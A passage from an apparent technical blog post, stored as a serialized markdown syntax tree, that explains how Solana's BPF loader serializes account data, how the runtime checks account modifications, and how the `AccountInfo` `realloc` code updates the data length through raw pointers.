data",{"type":23,"tag":141,"props":13783,"children":13784},{"style":160},[13785],{"type":29,"value":1674},{"type":23,"tag":141,"props":13787,"children":13788},{"style":725},[13789],{"type":29,"value":13790}," Rc",{"type":23,"tag":141,"props":13792,"children":13793},{"style":160},[13794],{"type":29,"value":2141},{"type":23,"tag":141,"props":13796,"children":13797},{"style":184},[13798],{"type":29,"value":13799},"new",{"type":23,"tag":141,"props":13801,"children":13802},{"style":154},[13803],{"type":29,"value":13804},"(RefCell",{"type":23,"tag":141,"props":13806,"children":13807},{"style":160},[13808],{"type":29,"value":2141},{"type":23,"tag":141,"props":13810,"children":13811},{"style":184},[13812],{"type":29,"value":13799},{"type":23,"tag":141,"props":13814,"children":13815},{"style":154},[13816],{"type":29,"value":13817},"({\n",{"type":23,"tag":141,"props":13819,"children":13820},{"class":143,"line":241},[13821,13826,13830,13834,13838,13842,13846,13850,13855,13859],{"type":23,"tag":141,"props":13822,"children":13823},{"style":184},[13824],{"type":29,"value":13825}," from_raw_parts_mut",{"type":23,"tag":141,"props":13827,"children":13828},{"style":154},[13829],{"type":29,"value":192},{"type":23,"tag":141,"props":13831,"children":13832},{"style":750},[13833],{"type":29,"value":7042},{"type":23,"tag":141,"props":13835,"children":13836},{"style":160},[13837],{"type":29,"value":322},{"type":23,"tag":141,"props":13839,"children":13840},{"style":184},[13841],{"type":29,"value":8317},{"type":23,"tag":141,"props":13843,"children":13844},{"style":154},[13845],{"type":29,"value":192},{"type":23,"tag":141,"props":13847,"children":13848},{"style":750},[13849],{"type":29,"value":12579},{"type":23,"tag":141,"props":13851,"children":13852},{"style":154},[13853],{"type":29,"value":13854},"), ",{"type":23,"tag":141,"props":13856,"children":13857},{"style":750},[13858],{"type":29,"value":12484},{"type":23,"tag":141,"props":13860,"children":13861},{"style":154},[13862],{"type":29,"value":758},{"type":23,"tag":141,"props":13864,"children":13865},{"class":143,"line":262},[13866],{"type":23,"tag":141,"props":13867,"children":13868},{"style":154},[13869],{"type":29,"value":13870},"}));\n",{"type":23,"tag":141,"props":13872,"children":13873},{"class":143,"line":271},[13874,13878,13882,13886,13890],{"type":23,"tag":141,"props":13875,"children":13876},{"style":750},[13877],{"type":29,"value":12579},{"type":23,"tag":141,"props":13879,"children":13880},{"style":160},[13881],{"type":29,"value":13741},{"type":23,"tag":141,"props":13883,"children":13884},{"style":750},[13885],{"type":29,"value":13661},{"type":23,"tag":141,"props":13887,"children":13888},{"style":160},[13889],{"type":29,"value":7581},{"type":23,"tag":141,"props":13891,"children":13892},{"style":154},[13893],{"type":29,"value":13894}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":141,"props":13896,"children":13897},{"class":143,"line":293},[13898,13902,13906,13910,13914,13918,13922,13926,13930,13934,13938,13943,13948],{"type":23,"tag":141,"props":13899,"children":13900},{"style":750},[13901],{"type":29,"value":12579},{"type":23,"tag":141,"props":13903,"children":13904},{"style":160},[13905],{"type":29,"value":13741},{"type":23,"tag":141,"props":13907,"children":13908},{"style":154},[13909],{"type":29,"value":1220},{"type":23,"tag":141,"props":13911,"children":13912},{"style":750},[13913],{"type":29,"value":12579},{"type":23,"tag":141,"props":13915,"children":13916},{"style":449},[13917],{"type":29,"value":7504},{"type":23,"tag":141,"props":13919,"children":13920},{"style":160},[13921],{"type":29,"value":8496},{"type":23,"tag":141,"props":13923,"children":13924},{"style":449},[13925],{"type":29,"value":8334},{"type":23,"tag":141,"props":13927,"children":13928},{"style":725},[13929],{"type":29,"value":13310},{"type":23,"tag":141,"props":13931,"children":13932},{"style":154},[13933],{"type":29,"value":1788},{"type":23,"tag":141,"props":13935,"children":13936},{"style":160},[13937],{"type":29,"value":322},{"type":23,"tag":141,"props":13939,"children":13940},{"style":184},[13941],{"type":29,"value":13942},"align_offset",{"type":23,"tag":141,"props":13944,"children":13945},{"style":154},[13946],{"type":29,"value":13947},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":141,"props":13949,"children":13950},{"style":443},[13951],{"type":29,"value":13952},"// padding\n",{"type":23,"tag":32,"props":13954,"children":13955},{},[13956,13958,13963,13965,13971,13973,13984,13986,13991,13993,13999,14001,14007,14009,14015],{"type":29,"value":13957},"In English, we have the length of the data, as a ",{"type":23,"tag":38,"props":13959,"children":13961},{"className":13960},[],[13962],{"type":29,"value":6717},{"type":29,"value":13964},", followed immediately by the data, and an additional ",{"type":23,"tag":38,"props":13966,"children":13968},{"className":13967},[],[13969],{"type":29,"value":13970},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":13972}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":55,"props":13974,"children":13977},{"href":13975,"rel":13976},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[59],[13978],{"type":23,"tag":38,"props":13979,"children":13981},{"className":13980},[],[13982],{"type":29,"value":13983},"slice::from_raw_parts_mut",{"type":29,"value":13985},") - slices are how Rust represents a, well, ",{"type":23,"tag":47,"props":13987,"children":13988},{},[13989],{"type":29,"value":13990},"slice",{"type":29,"value":13992}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":38,"props":13994,"children":13996},{"className":13995},[],[13997],{"type":29,"value":13998},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":14000},", giving us the unwieldy-looking type of ",{"type":23,"tag":38,"props":14002,"children":14004},{"className":14003},[],[14005],{"type":29,"value":14006},"AccountInfo.data",{"type":29,"value":14008},": ",{"type":23,"tag":38,"props":14010,"children":14012},{"className":14011},[],[14013],{"type":29,"value":14014},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":322},{"type":23,"tag":32,"props":14017,"children":14018},{},[14019,14021,14028],{"type":29,"value":14020},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":55,"props":14022,"children":14025},{"href":14023,"rel":14024},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[59],[14026],{"type":29,"value":14027},"cloning the referenced account",{"type":29,"value":114},{"type":23,"tag":131,"props":14030,"children":14032},{"className":1639,"code":14031,"language":1638,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[14033],{"type":23,"tag":38,"props":14034,"children":14035},{"__ignoreMap":7},[14036,14044],{"type":23,"tag":141,"props":14037,"children":14038},{"class":143,"line":144},[14039],{"type":23,"tag":141,"props":14040,"children":14041},{"style":443},[14042],{"type":29,"value":14043},"// Duplicate account, clone the original\n",{"type":23,"tag":141,"props":14045,"children":14046},{"class":143,"line":180},[14047,14051,14055,14059,14063,14067,14071,14076,14080,14084,14089,14093,14098],{"type":23,"tag":141,"props":14048,"children":14049},{"style":750},[14050],{"type":29,"value":13351},{"type":23,"tag":141,"props":14052,"children":14053},{"style":160},[14054],{"type":29,"value":322},{"type":23,"tag":141,"props":14056,"children":14057},{"style":184},[14058],{"type":29,"value":2482},{"type":23,"tag":141,"props":14060,"children":14061},{"style":154},[14062],{"type":29,"value":192},{"type":23,"tag":141,"props":14064,"children":14065},{"style":750},[14066],{"type":29,"value":13351},{"type":23,"tag":141,"props":14068,"children":14069},{"style":154},[14070],{"type":29,"value":2399},{"type":23,"tag":141,"props":14072,"children":14073},{"style":750},[14074],{"type":29,"value":14075},"dup_info",{"type":23,"tag":141,"props":14077,"children":14078},{"style":449},[14079],{"type":29,"value":7504},{"type":23,"tag":141,"props":14081,"children":14082},{"style":725},[14083],{"type":29,"value":12409},{"type":23,"tag":141,"props":14085,"children":14086},{"style":154},[14087],{"type":29,"value":14088},"]",{"type":23,"tag":141,"props":14090,"children":14091},{"style":160},[14092],{"type":29,"value":322},{"type":23,"tag":141,"props":14094,"children":14095},{"style":184},[14096],{"type":29,"value":14097},"clone",{"type":23,"tag":141,"props":14099,"children":14100},{"style":154},[14101],{"type":29,"value":14102},"());\n",{"type":23,"tag":32,"props":14104,"children":14105},{},[14106,14108,14113,14115,14120,14122,14127,14129,14134,14135,14141,14143,14148,14150,14160,14162,14167],{"type":29,"value":14107},"Since ",{"type":23,"tag":38,"props":14109,"children":14111},{"className":14110},[],[14112],{"type":29,"value":2367},{"type":29,"value":14114}," inside the ",{"type":23,"tag":38,"props":14116,"children":14118},{"className":14117},[],[14119],{"type":29,"value":13615},{"type":29,"value":14121}," is a ",{"type":23,"tag":38,"props":14123,"children":14125},{"className":14124},[],[14126],{"type":29,"value":13998},{"type":29,"value":14128},", where the ",{"type":23,"tag":38,"props":14130,"children":14132},{"className":14131},[],[14133],{"type":29,"value":4661},{"type":29,"value":14121},{"type":23,"tag":38,"props":14136,"children":14138},{"className":14137},[],[14139],{"type":29,"value":14140},"&mut [u8]",{"type":29,"value":14142}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":38,"props":14144,"children":14146},{"className":14145},[],[14147],{"type":29,"value":13615},{"type":29,"value":14149},", we get a new reference",{"type":23,"tag":676,"props":14151,"children":14152},{},[14153],{"type":23,"tag":55,"props":14154,"children":14158},{"href":14155,"ariaDescribedBy":14156,"dataFootnoteRef":7,"id":14157},"#user-content-fn-rc-refs",[683],"user-content-fnref-rc-refs",[14159],{"type":29,"value":687},{"type":29,"value":14161}," to the slice pointing at the ",{"type":23,"tag":47,"props":14163,"children":14164},{},[14165],{"type":29,"value":14166},"same",{"type":29,"value":14168}," data buffer.",{"type":23,"tag":32,"props":14170,"children":14171},{},[14172,14174,14180,14182,14188],{"type":29,"value":14173},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":38,"props":14175,"children":14177},{"className":14176},[],[14178],{"type":29,"value":14179},"RefCell",{"type":29,"value":14181}," to check the rules at runtime. (The ",{"type":23,"tag":38,"props":14183,"children":14185},{"className":14184},[],[14186],{"type":29,"value":14187},"lamports",{"type":29,"value":14189}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":32,"props":14191,"children":14192},{},[14193,14195,14201],{"type":29,"value":14194},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":38,"props":14196,"children":14198},{"className":14197},[],[14199],{"type":29,"value":14200},"AccountInfo::data",{"type":29,"value":14202},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":32,"props":14204,"children":14205},{},[14206,14208,14215],{"type":29,"value":14207},"This is also where the ",{"type":23,"tag":55,"props":14209,"children":14212},{"href":14210,"rel":14211},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[59],[14213],{"type":29,"value":14214},"runtime validity checks",{"type":29,"value":14216}," are imposed.",{"type":23,"tag":131,"props":14218,"children":14220},{"className":1639,"code":14219,"language":1638,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[14221],{"type":23,"tag":38,"props":14222,"children":14223},{"__ignoreMap":7},[14224,14232,14240,14248,14290,14308,14337,14382,14389,14413,14448,14473,14505,14520,14552,14559],{"type":23,"tag":141,"props":14225,"children":14226},{"class":143,"line":144},[14227],{"type":23,"tag":141,"props":14228,"children":14229},{"style":443},[14230],{"type":29,"value":14231},"// Only the owner may change account data\n",{"type":23,"tag":141,"props":14233,"children":14234},{"class":143,"line":180},[14235],{"type":23,"tag":141,"props":14236,"children":14237},{"style":443},[14238],{"type":29,"value":14239},"// and if the account is writable\n",{"type":23,"tag":141,"props":14241,"children":14242},{"class":143,"line":205},[14243],{"type":23,"tag":141,"props":14244,"children":14245},{"style":443},[14246],{"type":29,"value":14247},"// and if the account is not executable\n",{"type":23,"tag":141,"props":14249,"children":14250},{"class":143,"line":218},[14251,14256,14260,14264,14268,14272,14277,14281,14286],{"type":23,"tag":141,"props":14252,"children":14253},{"style":148},[14254],{"type":29,"value":14255},"if",{"type":23,"tag":141,"props":14257,"children":14258},{"style":160},[14259],{"type":29,"value":1258},{"type":23,"tag":141,"props":14261,"children":14262},{"style":154},[14263],{"type":29,"value":192},{"type":23,"tag":141,"props":14265,"children":14266},{"style":750},[14267],{"type":29,"value":13342},{"type":23,"tag":141,"props":14269,"children":14270},{"style":160},[14271],{"type":29,"value":1942},{"type":23,"tag":141,"props":14273,"children":14274},{"style":750},[14275],{"type":29,"value":14276}," pre",{"type":23,"tag":141,"props":14278,"children":14279},{"style":160},[14280],{"type":29,"value":322},{"type":23,"tag":141,"props":14282,"children":14283},{"style":184},[14284],{"type":29,"value":14285},"owner",{"type":23,"tag":141,"props":14287,"children":14288},{"style":154},[14289],{"type":29,"value":6410},{"type":23,"tag":141,"props":14291,"children":14292},{"class":143,"line":227},[14293,14298,14303],{"type":23,"tag":141,"props":14294,"children":14295},{"style":160},[14296],{"type":29,"value":14297}," &&",{"type":23,"tag":141,"props":14299,"children":14300},{"style":750},[14301],{"type":29,"value":14302}," is_writable",{"type":23,"tag":141,"props":14304,"children":14305},{"style":443},[14306],{"type":29,"value":14307}," // line coverage used to get branch coverage\n",{"type":23,"tag":141,"props":14309,"children":14310},{"class":143,"line":241},[14311,14315,14319,14323,14327,14332],{"type":23,"tag":141,"props":14312,"children":14313},{"style":160},[14314],{"type":29,"value":14297},{"type":23,"tag":141,"props":14316,"children":14317},{"style":160},[14318],{"type":29,"value":1258},{"type":23,"tag":141,"props":14320,"children":14321},{"style":750},[14322],{"type":29,"value":131},{"type":23,"tag":141,"props":14324,"children":14325},{"style":160},[14326],{"type":29,"value":322},{"type":23,"tag":141,"props":14328,"children":14329},{"style":184},[14330],{"type":29,"value":14331},"executable",{"type":23,"tag":141,"props":14333,"children":14334},{"style":154},[14335],{"type":29,"value":14336},"())\n",{"type":23,"tag":141,"props":14338,"children":14339},{"class":143,"line":262},[14340,14344,14348,14352,14356,14360,14365,14370,14374,14378],{"type":23,"tag":141,"props":14341,"children":14342},{"style":160},[14343],{"type":29,"value":14297},{"type":23,"tag":141,"props":14345,"children":14346},{"style":750},[14347],{"type":29,"value":14276},{"type":23,"tag":141,"props":14349,"children":14350},{"style":160},[14351],{"type":29,"value":322},{"type":23,"tag":141,"props":14353,"children":14354},{"style":184},[14355],{"type":29,"value":2367},{"type":23,"tag":141,"props":14357,"children":14358},{"style":154},[14359],{"type":29,"value":12720},{"type":23,"tag":141,"props":14361,"children":14362},{"style":160},[14363],{"type":29,"value":14364},"!=",{"type":23,"tag":141,"props":14366,"children":14367},{"style":750},[14368],{"type":29,"value":14369}," post",{"type":23,"tag":141,"props":14371,"children":14372},{"style":160},[14373],{"type":29,"value":322},{"type":23,"tag":141,"props":14375,"children":14376},{"style":184},[14377],{"type":29,"value":2367},{"type":23,"tag":141,"props":14379,"children":14380},{"style":154},[14381],{"type":29,"value":6410},{"type":23,"tag":141,"props":14383,"children":14384},{"class":143,"line":271},[14385],{"type":23,"tag":141,"props":14386,"children":14387},{"style":154},[14388],{"type":29,"value":766},{"type":23,"tag":141,"props":14390,"children":14391},{"class":143,"line":293},[14392,14396,14400,14404,14408],{"type":23,"tag":141,"props":14393,"children":14394},{"style":148},[14395],{"type":29,"value":151},{"type":23,"tag":141,"props":14397,"children":14398},{"style":750},[14399],{"type":29,"value":14276},{"type":23,"tag":141,"props":14401,"children":14402},{"style":160},[14403],{"type":29,"value":322},{"type":23,"tag":141,"props":14405,"children":14406},{"style":184},[14407],{"type":29,"value":14331},{"type":23,"tag":141,"props":14409,"children":14410},{"style":154},[14411],{"type":29,"value":14412},"() {\n",{"type":23,"tag":141,"props":14414,"children":14415},{"class":143,"line":801},[14416,14421,14426,14430,14435,14439,14444],{"type":23,"tag":141,"props":14417,"children":14418},{"style":148},[14419],{"type":29,"value":14420}," return",{"type":23,"tag":141,"props":14422,"children":14423},{"style":725},[14424],{"type":29,"value":14425}," Err",{"type":23,"tag":141,"props":14427,"children":14428},{"style":154},[14429],{"type":29,"value":192},{"type":23,"tag":141,"props":14431,"children":14432},{"style":725},[14433],{"type":29,"value":14434},"InstructionError",{"type":23,"tag":141,"props":14436,"children":14437},{"style":160},[14438],{"type":29,"value":2141},{"type":23,"tag":141,"props":14440,"children":14441},{"style":725},[14442],{"type":29,"value":14443},"ExecutableDataModified",{"type":23,"tag":141,"props":14445,"children":14446},{"style":154},[14447],{"type":29,"value":2496},{"type":23,"tag":141,"props":14449,"children":14450},{"class":143,"line":810},[14451,14456,14460,14465,14469],{"type":23,"tag":141,"props":14452,"children":14453},{"style":154},[14454],{"type":29,"value":14455}," } ",{"type":23,"tag":141,"props":14457,"children":14458},{"style":148},[14459],{"type":29,"value":1976},{"type":23,"tag":141,"props":14461,"children":14462},{"style":148},[14463],{"type":29,"value":14464}," if",{"type":23,"tag":141,"props":14466,"children":14467},{"style":750},[14468],{"type":29,"value":14302},{"type":23,"tag":141,"props":14470,"children":14471},{"style":154},[14472],{"type":29,"value":1951},{"type":23,"tag":141,"props":14474,"children":14475},{"class":143,"line":824},[14476,14480,14484,14488,14492,14496,14501],{"type":23,"tag":141,"props":14477,"children":14478},{"style":148},[14479],{"type":29,"value":14420},{"type":23,"tag":141,"props":14481,"children":14482},{"style":725},[14483],{"type":29,"value":14425},{"type":23,"tag":141,"props":14485,"children":14486},{"style":154},[14487],{"type":29,"value":192},{"type":23,"tag":141,"props":14489,"children":14490},{"style":725},[14491],{"type":29,"value":14434},{"type":23,"tag":141,"props":14493,"children":14494},{"style":160},[14495],{"type":29,"value":2141},{"type":23,"tag":141,"props":14497,"children":14498},{"style":725},[14499],{"type":29,"value":14500},"ExternalAccountDataModified",{"type":23,"tag":141,"props":14502,"children":14503},{"style":154},[14504],{"type":29,"value":2496},{"type":23,"tag":141,"props":14506,"children":14507},{"class":143,"line":839},[14508,14512,14516],{"type":23,"tag":141,"props":14509,"children":14510},{"style":154},[14511],{"type":29,"value":14455},{"type":23,"tag":141,"props":14513,"children":14514},{"style":148},[14515],{"type":29,"value":1976},{"type":23,"tag":141,"props":14517,"children":14518},{"style":154},[14519],{"type":29,"value":1951},{"type":23,"tag":141,"props":14521,"children":14522},{"class":143,"line":848},[14523,14527,14531,14535,14539,14543,14548],{"type":23,"tag":141,"props":14524,"children":14525},{"style":148},[14526],{"type":29,"value":14420},{"type":23,"tag":141,"props":14528,"children":14529},{"style":725},[14530],{"type":29,"value":14425},{"type":23,"tag":141,"props":14532,"children":14533},{"style":154},[14534],{"type":29,"value":192},{"type":23,"tag":141,"props":14536,"children":14537},{"style":725},[14538],{"type":29,"value":14434},{"type":23,"tag":141,"props":14540,"children":14541},{"style":160},[14542],{"type":29,"value":2141},{"type":23,"tag":141,"props":14544,"children":14545},{"style":725},[14546],{"type":29,"value":14547},"ReadonlyDataModified",{"type":23,"tag":141,"props":14549,"children":14550},{"style":154},[14551],{"type":29,"value":2496},{"type":23,"tag":141,"props":14553,"children":14554},{"class":143,"line":2304},[14555],{"type":23,"tag":141,"props":14556,"children":14557},{"style":154},[14558],{"type":29,"value":299},{"type":23,"tag":141,"props":14560,"children":14561},{"class":143,"line":2313},[14562],{"type":23,"tag":141,"props":14563,"children":14564},{"style":154},[14565],{"type":29,"value":2573},{"type":23,"tag":8287,"props":14567,"children":14569},{"id":14568},"back-to-realloc",[14570,14572],{"type":29,"value":14571},"Back to ",{"type":23,"tag":38,"props":14573,"children":14575},{"className":14574},[],[14576],{"type":29,"value":12316},{"type":23,"tag":32,"props":14578,"children":14579},{},[14580],{"type":29,"value":14581},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":131,"props":14583,"children":14584},{"className":1639,"code":13067,"language":1638,"meta":7,"style":7},[14585],{"type":23,"tag":38,"props":14586,"children":14587},{"__ignoreMap":7},[14588,14595,14682],{"type":23,"tag":141,"props":14589,"children":14590},{"class":143,"line":144},[14591],{"type":23,"tag":141,"props":14592,"children":14593},{"style":443},[14594],{"type":29,"value":13079},{"type":23,"tag":141,"props":14596,"children":14597},{"class":143,"line":180},[14598,14602,14606,14610,14614,14618,14622,14626,14630,14634,14638,14642,14646,14650,14654,14658,14662,14666,14670,14674,14678],{"type":23,"tag":141,"props":14599,"children":14600},{"style":449},[14601],{"type":29,"value":10467},{"type":23,"tag":141,"props":14603,"children":14604},{"style":750},[14605],{"type":29,"value":12535},{"type":23,"tag":141,"props":14607,"children":14608},{"style":160},[14609],{"type":29,"value":1674},{"type":23,"tag":141,"props":14611,"children":14612},{"style":449},[14613],{"type":29,"value":12475},{"type":23,"tag":141,"props":14615,"children":14616},{"style":160},[14617],{"type":29,"value":322},{"type":23,"tag":141,"props":14619,"children":14620},{"style":184},[14621],{"type":29,"value":12552},{"type":23,"tag":141,"props":14623,"children":14624},{"style":154},[14625],{"type":29,"value":12557},{"type":23,"tag":141,"props":14627,"children":14628},{"style":160},[14629],{"type":29,"value":1793},{"type":23,"tag":141,"props":14631,"children":14632},{"style":184},[14633],{"type":29,"value":12566},{"type":23,"tag":141,"props":14635,"children":14636},{"style":154},[14637],{"type":29,"value":12557},{"type":23,"tag":141,"props":14639,"children":14640},{"style":160},[14641],{"type":29,"value":322},{"type":23,"tag":141,"props":14643,"children":14644},{"style":184},[14645],{"type":29,"value":12579},{"type":23,"tag":141,"props":14647,"children":14648},{"style":154},[14649],{"type":29,"value":192},{"type":23,"tag":141,"props":14651,"children":14652},{"style":160},[14653],{"type":29,"value":3004},{"type":23,"tag":141,"props":14655,"children":14656},{"style":472},[14657],{"type":29,"value":2752},{"type":23,"tag":141,"props":14659,"children":14660},{"style":154},[14661],{"type":29,"value":1748},{"type":23,"tag":141,"props":14663,"children":14664},{"style":449},[14665],{"type":29,"value":7518},{"type":23,"tag":141,"props":14667,"children":14668},{"style":160},[14669],{"type":29,"value":8496},{"type":23,"tag":141,"props":14671,"children":14672},{"style":449},[14673],{"type":29,"value":2389},{"type":23,"tag":141,"props":14675,"children":14676},{"style":725},[14677],{"type":29,"value":4534},{"type":23,"tag":141,"props":14679,"children":14680},{"style":154},[14681],{"type":29,"value":1684},{"type":23,"tag":141,"props":14683,"children":14684},{"class":143,"line":205},[14685,14689,14693,14697,14701,14705,14709],{"type":23,"tag":141,"props":14686,"children":14687},{"style":160},[14688],{"type":29,"value":197},{"type":23,"tag":141,"props":14690,"children":14691},{"style":750},[14692],{"type":29,"value":542},{"type":23,"tag":141,"props":14694,"children":14695},{"style":160},[14696],{"type":29,"value":1674},{"type":23,"tag":141,"props":14698,"children":14699},{"style":750},[14700],{"type":29,"value":12635},{"type":23,"tag":141,"props":14702,"children":14703},{"style":449},[14704],{"type":29,"value":7504},{"type":23,"tag":141,"props":14706,"children":14707},{"style":725},[14708],{"type":29,"value":4534},{"type":23,"tag":141,"props":14710,"children":14711},{"style":154},[14712],{"type":29,"value":1684},{"type":23,"tag":32,"props":14714,"children":14715},{},[14716,14721,14723,14728,14730,14735,14737,14748,14750,14755,14757,14762],{"type":23,"tag":38,"props":14717,"children":14719},{"className":14718},[],[14720],{"type":29,"value":12552},{"type":29,"value":14722}," gives us the ",{"type":23,"tag":38,"props":14724,"children":14726},{"className":14725},[],[14727],{"type":29,"value":14140},{"type":29,"value":14729}," from the ",{"type":23,"tag":38,"props":14731,"children":14733},{"className":14732},[],[14734],{"type":29,"value":14014},{"type":29,"value":14736},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":55,"props":14738,"children":14741},{"href":14739,"rel":14740},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[59],[14742],{"type":23,"tag":38,"props":14743,"children":14745},{"className":14744},[],[14746],{"type":29,"value":14747},"slice::as_mut_ptr()",{"type":29,"value":14749}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":38,"props":14751,"children":14753},{"className":14752},[],[14754],{"type":29,"value":6717},{"type":29,"value":14756}," - behind the data buffer), and then writes ",{"type":23,"tag":38,"props":14758,"children":14760},{"className":14759},[],[14761],{"type":29,"value":12400},{"type":29,"value":14763}," to it.",{"type":23,"tag":32,"props":14765,"children":14766},{},[14767,14769,14781,14783,14789],{"type":29,"value":14768},"This is reasonable... ",{"type":23,"tag":47,"props":14770,"children":14771},{},[14772,14774,14779],{"type":29,"value":14773},"as long as the ",{"type":23,"tag":38,"props":14775,"children":14777},{"className":14776},[],[14778],{"type":29,"value":2367},{"type":29,"value":14780}," actually came from the serialized buffer",{"type":29,"value":14782},". We'll come back to this ",{"type":23,"tag":55,"props":14784,"children":14786},{"href":14785},"#Not-contracts",[14787],{"type":29,"value":14788},"later",{"type":29,"value":322},{"type":23,"tag":32,"props":14791,"children":14792},{},[14793,14795,14800],{"type":29,"value":14794},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":38,"props":14796,"children":14798},{"className":14797},[],[14799],{"type":29,"value":14140},{"type":29,"value":14801}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":131,"props":14803,"children":14805},{"className":1639,"code":14804,"language":1638,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[14806],{"type":23,"tag":38,"props":14807,"children":14808},{"__ignoreMap":7},[14809,14817,14944],{"type":23,"tag":141,"props":14810,"children":14811},{"class":143,"line":144},[14812],{"type":23,"tag":141,"props":14813,"children":14814},{"style":443},[14815],{"type":29,"value":14816},"// Then set the new length in the local slice\n",{"type":23,"tag":141,"props":14818,"children":14819},{"class":143,"line":180},[14820,14824,14828,14832,14836,14840,14844,14848,14852,14856,14860,14864,14868,14872,14876,14880,14884,14888,14892,14896,14900,14904,14908,14912,14916,14920,14924,14928,14932,14936,14940],{"type":23,"tag":141,"props":14821,"children":14822},{"style":449},[14823],{"type":29,"value":10467},{"type":23,"tag":141,"props":14825,"children":14826},{"style":750},[14827],{"type":29,"value":12535},{"type":23,"tag":141,"props":14829,"children":14830},{"style":160},[14831],{"type":29,"value":1674},{"type":23,"tag":141,"props":14833,"children":14834},{"style":160},[14835],{"type":29,"value":5815},{"type":23,"tag":141,"props":14837,"children":14838},{"style":449},[14839],{"type":29,"value":2389},{"type":23,"tag":141,"props":14841,"children":14842},{"style":160},[14843],{"type":29,"value":8496},{"type":23,"tag":141,"props":14845,"children":14846},{"style":154},[14847],{"type":29,"value":12694},{"type":23,"tag":141,"props":14849,"children":14850},{"style":449},[14851],{"type":29,"value":12391},{"type":23,"tag":141,"props":14853,"children":14854},{"style":160},[14855],{"type":29,"value":322},{"type":23,"tag":141,"props":14857,"children":14858},{"style":154},[14859],{"type":29,"value":2367},{"type":23,"tag":141,"props":14861,"children":14862},{"style":160},[14863],{"type":29,"value":322},{"type":23,"tag":141,"props":14865,"children":14866},{"style":184},[14867],{"type":29,"value":12715},{"type":23,"tag":141,"props":14869,"children":14870},{"style":154},[14871],{"type":29,"value":12720},{"type":23,"tag":141,"props":14873,"children":14874},{"style":449},[14875],{"type":29,"value":7518},{"type":23,"tag":141,"props":14877,"children":14878},{"style":160},[14879],{"type":29,"value":8496},{"type":23,"tag":141,"props":14881,"children":14882},{"style":449},[14883],{"type":29,"value":8334},{"type":23,"tag":141,"props":14885,"children":14886},{"style":725},[14887],{"type":29,"value":4534},{"type":23,"tag":141,"props":14889,"children":14890},{"style":154},[14891],{"type":29,"value":1788},{"type":23,"tag":141,"props":14893,"children":14894},{"style":160},[14895],{"type":29,"value":322},{"type":23,"tag":141,"props":14897,"children":14898},{"style":184},[14899],{"type":29,"value":12579},{"type":23,"tag":141,"props":14901,"children":14902},{"style":154},[14903],{"type":29,"value":192},{"type":23,"tag":141,"props":14905,"children":14906},{"style":472},[14907],{"type":29,"value":687},{"type":23,"tag":141,"props":14909,"children":14910},{"style":154},[14911],{"type":29,"value":1748},{"type":23,"tag":141,"props":14913,"children":14914},{"style":449},[14915],{"type":29,"value":7518},{"type":23,"tag":141,"props":14917,"children":14918},{"style":725},[14919],{"type":29,"value":4534},{"type":23,"tag":141,"props":14921,"children":14922},{"style":154},[14923],{"type":29,"value":1748},{"type":23,"tag":141,"props":14925,"children":14926},{"style":449},[14927],{"type":29,"value":7518},{"type":23,"tag":141,"props":14929,"children":14930},{"style":160},[14931],{"type":29,"value":8496},{"type":23,"tag":141,"props":14933,"children":14934},{"style":449},[14935],{"type":29,"value":2389},{"type":23,"tag":141,"props":14937,"children":14938},{"style":725},[14939],{"type":29,"value":4534},{"type":23,"tag":141,"props":14941,"children":14942},{"style":154},[14943],{"type":29,"value":2496},{"type":23,"tag":141,"props":14945,"children":14946},{"class":143,"line":205},[14947,14951,14955,14959,14963,14967,14971],{"type":23,"tag":141,"props":14948,"children":14949},{"style":160},[14950],{"type":29,"value":197},{"type":23,"tag":141,"props":14952,"children":14953},{"style":750},[14954],{"type":29,"value":542},{"type":23,"tag":141,"props":14956,"children":14957},{"style":160},[14958],{"type":29,"value":1674},{"type":23,"tag":141,"props":14960,"children":14961},{"style":750},[14962],{"type":29,"value":12635},{"type":23,"tag":141,"props":14964,"children":14965},{"style":449},[14966],{"type":29,"value":7504},{"type":23,"tag":141,"props":14968,"children":14969},{"style":725},[14970],{"type":29,"value":4534},{"type":23,"tag":141,"props":14972,"children":14973},{"style":154},[14974],{"type":29,"value":1684},{"type":23,"t